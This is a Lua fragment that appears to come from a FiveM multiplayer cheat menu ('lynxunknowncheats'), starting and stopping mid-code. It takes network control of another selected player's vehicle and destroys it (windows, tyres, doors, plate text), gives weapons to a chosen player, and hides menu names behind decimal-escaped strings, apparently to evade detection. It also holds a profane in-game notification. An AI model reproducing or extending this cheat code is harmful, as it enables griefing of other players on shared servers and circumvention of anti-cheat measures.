SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
false)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 0)
NetworkRequestControlOfEntity(GetVehiclePedIsIn(SelectedPlayer))
StartVehicleAlarm(playerVeh)
DetachVehicleWindscreen(playerVeh)
SmashVehicleWindow(playerVeh, 0)
SmashVehicleWindow(playerVeh, 1)
SmashVehicleWindow(playerVeh, 2)
SmashVehicleWindow(playerVeh, 3)
SetVehicleTyreBurst(playerVeh, 0, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 1, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 2, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 3, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 4, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 5, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 4, true, 1000.0)
SetVehicleTyreBurst(playerVeh, 7, true, 1000.0)
SetVehicleDoorBroken(playerVeh, 0, true)
SetVehicleDoorBroken(playerVeh, 1, true)
SetVehicleDoorBroken(playerVeh, 2, true)
SetVehicleDoorBroken(playerVeh, 3, true)
SetVehicleDoorBroken(playerVeh, 4, true)
SetVehicleDoorBroken(playerVeh, 5, true)
SetVehicleDoorBroken(playerVeh, 6, true)
SetVehicleDoorBroken(playerVeh, 7, true)
SetVehicleLights(playerVeh, 1)
Citizen.InvokeNative(0x1FD09E7390A74D54,
playerVeh, 1)
SetVehicleNumberPlateTextIndex(playerVeh, 5)
SetVehicleNumberPlateText(playerVeh, "LYNX")
SetVehicleDirtLevel(playerVeh, 10.0)
SetVehicleModColor_1(playerVeh, 1)
SetVehicleModColor_2(playerVeh, 1)
SetVehicleCustomPrimaryColour(playerVeh, 255,
51, 255)
SetVehicleCustomSecondaryColour(playerVeh, 255,
51, 255)
SetVehicleBurnout(playerVeh, true)
drawNotification("~g~Vehicle Fucked Up!")
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
83\105\110\103\108\101\87\101\112\80\108\97\121\101\114\10") then
for i = 1, #allWeapons do
if lynxunknowncheats.Button(allWeapons[i]) then
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, true)
end
end
lynxunknowncheats.Display()
elseif IsDisabledControlPressed(344) then
lynxunknowncheats.OpenMenu("\
76\221\110\120\77\97\105\110\77\101\110\117\10")
Citizen.Wait(0)
end
end
)
RegisterCommand("killmenu", function(source,args,raw)
Enabled = false
end, false)